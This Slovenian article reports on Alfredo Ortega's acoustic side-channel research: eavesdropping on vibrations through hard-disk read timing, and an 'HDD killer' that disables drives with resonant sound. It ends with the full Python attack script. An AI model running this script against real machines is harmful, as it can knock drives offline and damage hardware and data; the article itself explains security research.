Zakaj ne bi smeli kričati na svoj HDD

Zakaj ne bi smeli kričati na svoj HDD

Na konferenci o računalniški varnosti Ekoparty 2017 v Buenos Airesu je argentinski heker Alfredo Ortega pokazal zelo zanimiv razvoj - sistem za prikrito prisluškovanje prostorom brez uporabe mikrofona. Zvok posnet neposredno na trdi disk!

HDD zajame predvsem visoko intenzivne nizkofrekvenčne zvoke, korake in druge tresljaje. Človeškega govora še ni mogoče prepoznati, čeprav znanstveniki izvajajo raziskave v tej smeri (prepoznavanje govora z nizkofrekvenčnimi tresljaji, ki so posneti npr. iz žiroskopa ali trdega diska).

Zvok je nihanje zraka ali drugega medija. Človek jih zazna skozi bobnič, ki prenaša tresljaje v notranje uho. Mikrofon je zasnovan približno tako kot uho - tudi tu tresljaje beleži tanka membrana, ki vzbuja električni impulz. Trdi disk je seveda podvržen tudi mikroskopskim tresljajem zaradi nihanj okoliškega zraka. To je znano tudi iz tehničnih značilnosti trdih diskov: proizvajalci običajno navedejo največjo dovoljeno raven tresljajev, sam trdi disk pa pogosto poskuša postaviti v protitresljajno posodo iz gume ali drugega izolacijskega materiala. Iz tega je enostavno sklepati, da je zvok mogoče posneti s trdim diskom. Vse, kar ostane, je ugotoviti, kako.

Alfredo Ortega je predlagal edinstveno različico stranskega napada, in sicer časovni napad. Ta napad temelji na predpostavki, da se različne operacije izvajajo na napravi ob različnih časih, odvisno od danih vhodnih podatkov. V tem primeru so »vhodni podatki« tresljaji bralne glave in HDD plošče, ki so v korelaciji z tresljaji okolja, torej z zvokom. Tako je mogoče z merjenjem časa izračuna in izvedbo statistične analize podatkov izmeriti vibracije glave/plošče in s tem vibracije medija. Daljši kot je zamik pri branju podatkov, močnejši so tresljaji trdega diska in posledično glasnejši zvok.

Kako izmeriti vibracije trdega diska? Zelo preprosto: samo zaženite sistemski klic read () — in zabeležite čas, potreben za dokončanje. Sodobni operacijski sistemi vam omogočajo branje časa sistemskih klicev z nanosekundno natančnostjo.

Hitrost branja informacij iz sektorja je odvisna od položaja glave in plošče, kar je v korelaciji z tresljaji ohišja HDD. To je vse.

Statistična analiza se izvaja s preprostim pripomočkom Kscope. Kot pravijo, je vse genialno preprosto.

Zakaj ne bi smeli kričati na svoj HDD
Pripomoček Kscope (syscall stat())

Kscope je majhen pripomoček za vizualizacijo majhnih razlik v časih izvajanja sistemskih klicev. Virobjavljen na GitHubu.

V ločenem skladišču HDD-čas obstaja različica pripomočka, ki je konfiguriran za časovni napad na trdi disk, to je konfiguriran za analizo sistemskega klica read ().

Predstavitev snemanja zvoka s trdim diskom, delovanje pripomočka Kscope


Govora seveda ni mogoče razumeti na ta način, vendar je trdi disk povsem primeren kot senzor za vibracije. Registrirate lahko na primer, če je oseba v trdih čevljih ali bosa vstopila v prostor z računalnikom (verjetno, če je napadalec obut v mehke športne copate ali je na tleh debela preproga, HDD ne bo mogel registrirati vibracij - to je vredno preveriti). Računalnik lahko registrira razbito steklo ali druge incidente z močno jakostjo zvoka. To pomeni, da trdi disk lahko služi kot nekakšen sistem za zaznavanje nepooblaščenih vdorov.

HDD morilec

Mimogrede, podobno tehniko lahko uporabite za onemogočanje trdih diskov. Samo tukaj ne odstranimo oscilacij s trdega diska, ampak nasprotno, ustvarimo nihanja, ki se napajajo na trdi disk. Če predvajate zvok iz zvočnika na frekvenci, ki resonira s frekvenco trdega diska, sistem kmalu izklopi napravo z I/O napako (jedro Linuxa po 120 sekundah popolnoma izklopi trdi disk). Sam trdi disk lahko utrpi nepopravljivo škodo.

Zakaj ne bi smeli kričati na svoj HDD
Jedro Linuxa je izklopilo trdi disk po 120 sekundah oddajanja zvoka z resonančno frekvenco prek zvočnika zvočnika Edifier r19u USB. Zvočnik je vklopljen na približno četrtino moči (manj kot 100 mW) in je nameščen 20 cm od trdega diska, usmerjen proti mizi za krepitev tresljajev. Okvir iz video posnetek z demonstracijo HDD killerja

Zanimivo je, da se takšni "napadi" na trde diske v vsakdanjem življenju včasih zgodijo povsem naključno. Septembra 2016 je bil na primer podatkovni center banke ING prisiljen prekiniti delovanje za 10 ur po požarni vaji. Več deset trdih diskov je odpovedalo zaradi glasnega zvoka inertnega plina, ki se sprošča iz jeklenk pod visokim pritiskom. Zvok je bil zelo glasen (več kot 130 dB), vendar ne morete niti kričati na trde diske - to poveča zamudo pri dostopu do trdega diska.

Prikaz človeškega kričanja na trde diske v podatkovnem centru. Merjenje latence


Za ustvarjanje resonančnega zvoka je Alfredo Ortega napisal skript Python, imenovan hdd-killer (video predstavitev).

Skript HDD killer Je precej majhen, zato ga lahko v celoti objavite tukaj.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Vir: www.habr.com

Dodaj komentar